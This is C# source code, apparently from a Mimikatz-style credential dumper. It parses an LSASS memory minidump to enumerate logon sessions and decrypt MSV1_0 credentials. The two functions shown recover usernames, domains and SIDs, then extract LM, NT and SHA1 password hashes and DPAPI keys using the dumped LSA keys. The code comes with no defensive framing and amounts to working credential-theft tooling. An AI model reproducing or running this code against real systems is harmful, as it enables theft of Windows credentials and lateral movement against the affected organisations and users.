public static List <Logon> FindSessions(Program.MiniDump minidump, msv.MsvTemplate template) { //Minidump.PrintProperties(template); List <Logon> logonlist = new List <Logon>(); List <long> offsetlist = new List <long>(); long logonSessionListSignOffset = find_signature(minidump, "lsasrv.dll", template.signature); if (logonSessionListSignOffset == 0) { Console.WriteLine("[x] Error: Could not find LogonSessionList signature\n"); return(logonlist); } long logonSessionOffset = (long)get_ptr_with_offset(minidump.fileBinaryReader, (logonSessionListSignOffset + template.LogonSessionListCountOffset), minidump.sysinfo); int logonSessionListCount = ReadInt32(minidump.fileBinaryReader, logonSessionOffset); //Console.WriteLine($"Parsing {logonSessionListCount} logon sessions"); for (var i = 0; i < logonSessionListCount; i++) { //Console.WriteLine($"Parsing session {i}"); long offset = logonSessionListSignOffset + template.first_entry_offset; long listMemOffset = ReadInt32(minidump.fileBinaryReader, offset); long tmp_offset = (int)offset + sizeof(int) + (int)listMemOffset + (16 * i); var voffset = ReadInt64(minidump.fileBinaryReader, tmp_offset); long current = Rva2offset(minidump, voffset); do { long listentry = ReadInt64(minidump.fileBinaryReader, current); listentry = Rva2offset(minidump, listentry); if (listentry == 0) { break; } if (offsetlist.Contains((listentry + template.LocallyUniqueIdentifierOffset))) { break; } KIWI_BASIC_SECURITY_LOGON_SESSION_DATA logonsession = new KIWI_BASIC_SECURITY_LOGON_SESSION_DATA(); offsetlist.Add(listentry + template.LocallyUniqueIdentifierOffset); logonsession.LogonId = listentry + template.LocallyUniqueIdentifierOffset; logonsession.LogonType = ReadInt32(minidump.fileBinaryReader, listentry + template.LogonTypeOffset); logonsession.Session = ReadInt32(minidump.fileBinaryReader, listentry + template.SessionOffset); logonsession.LogonTime = ReadStruct <FILETIME>(ReadBytes(minidump.fileBinaryReader, listentry + template.LogonTimeOffset + 4, 8)); //p* for pointers logonsession.pCredentials = ReadInt64(minidump.fileBinaryReader, listentry + template.CredentialsOffset); logonsession.pCredentialManager = ReadInt64(minidump.fileBinaryReader, listentry + template.CredentialManagerOffset); logonsession.pSid = listentry + template.pSidOffset; var luid = ReadStruct <LUID>(ReadBytes(minidump.fileBinaryReader, logonsession.LogonId, 4)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.UserNameListOffset, 0); logonsession.UserName = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.DomainOffset, 0); logonsession.LogonDomain = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.LogonServerOffset, 0); logonsession.LogonServer = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); string stringSid = ""; stringSid = ExtractSid(minidump, logonsession.pSid); var logon = new Logon(luid) { Session = logonsession.Session, LogonType = KUHL_M_SEKURLSA_LOGON_TYPE[logonsession.LogonType], LogonTime = logonsession.LogonTime, UserName = logonsession.UserName, LogonDomain = logonsession.LogonDomain, LogonServer = logonsession.LogonServer, SID = stringSid, pCredentials = Rva2offset(minidump, logonsession.pCredentials), pCredentialManager = Rva2offset(minidump, logonsession.pCredentialManager) }; //Console.WriteLine("session " + logon.Session + " luid " + logon.LogonId.LowPart + " username " + logon.UserName + " pCredentials " + logonsession.pCredentials); //PrintProperties(logon); logonlist.Add(logon); voffset = ReadInt64(minidump.fileBinaryReader, listentry); current = Rva2offset(minidump, voffset); } while (true); } return(logonlist); }
public static int FindCredentials(Program.MiniDump minidump, msv.MsvTemplate template) { //PrintProperties(template); foreach (var logon in minidump.logonlist) { var lsasscred = logon.pCredentials; var luid = logon.LogonId; if (lsasscred > 0) { var msventry = new Msv(); KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials; while (lsasscred != 0) { minidump.fileBinaryReader.BaseStream.Seek(lsasscred, 0); byte[] credentialsBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_MSV1_0_CREDENTIALS))); if (credentialsBytes.Length <= 0) { break; } var pPrimaryCredentials = BitConverter.ToInt64(credentialsBytes, FieldOffset <KIWI_MSV1_0_CREDENTIALS>("PrimaryCredentials")); var pNext = BitConverter.ToInt64(credentialsBytes, FieldOffset <KIWI_MSV1_0_CREDENTIALS>("next")); lsasscred = Rva2offset(minidump, pPrimaryCredentials); while (lsasscred != 0) { minidump.fileBinaryReader.BaseStream.Seek(lsasscred, 0); byte[] primaryCredentialsBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS))); primaryCredentials = ReadStruct <KIWI_MSV1_0_PRIMARY_CREDENTIALS>(primaryCredentialsBytes); primaryCredentials.Credentials = ExtractUnicodeString(minidump.fileBinaryReader, lsasscred + template.MSV1CredentialsOffset); primaryCredentials.Primary = ExtractUnicodeString(minidump.fileBinaryReader, lsasscred + template.MSV1PrimaryOffset); if (ExtractANSIStringString(minidump, primaryCredentials.Primary).Equals("Primary")) { minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, primaryCredentials.Credentials.Buffer), 0); byte[] msvCredentialsBytes = minidump.fileBinaryReader.ReadBytes(primaryCredentials.Credentials.MaximumLength); var msvDecryptedCredentialsBytes = BCrypt.DecryptCredentials(msvCredentialsBytes, minidump.lsakeys); var usLogonDomainName = ReadStruct <UNICODE_STRING>(GetBytes(msvDecryptedCredentialsBytes, template.LogonDomainNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var usUserName = ReadStruct <UNICODE_STRING>(GetBytes(msvDecryptedCredentialsBytes, template.UserNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); msventry = new Msv(); msventry.DomainName = Encoding.Unicode.GetString(GetBytes(msvDecryptedCredentialsBytes, usLogonDomainName.Buffer, usLogonDomainName.Length)); msventry.UserName = "******" + Encoding.Unicode.GetString(GetBytes(msvDecryptedCredentialsBytes, usUserName.Buffer, usUserName.Length)); string lmhash = PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.LmOwfPasswordOffset, LM_NTLM_HASH_LENGTH)); if (lmhash != "00000000000000000000000000000000") { msventry.Lm = " " + lmhash; } msventry.NT = " " + PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.NtOwfPasswordOffset, LM_NTLM_HASH_LENGTH)); msventry.Sha1 = " " + PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.ShaOwPasswordOffset, SHA_DIGEST_LENGTH)); string dpapi = PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.DPAPIProtectedOffset, LM_NTLM_HASH_LENGTH)); if (dpapi != "00000000000000000000000000000000" && dpapi != "0c000e00000000005800000000000000") { msventry.Dpapi = " " + dpapi; } var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { Console.WriteLine("[x] Something goes wrong"); } else { currentlogon.Msv = msventry; } } lsasscred = primaryCredentials.next; } lsasscred = pNext; } } } return(0); }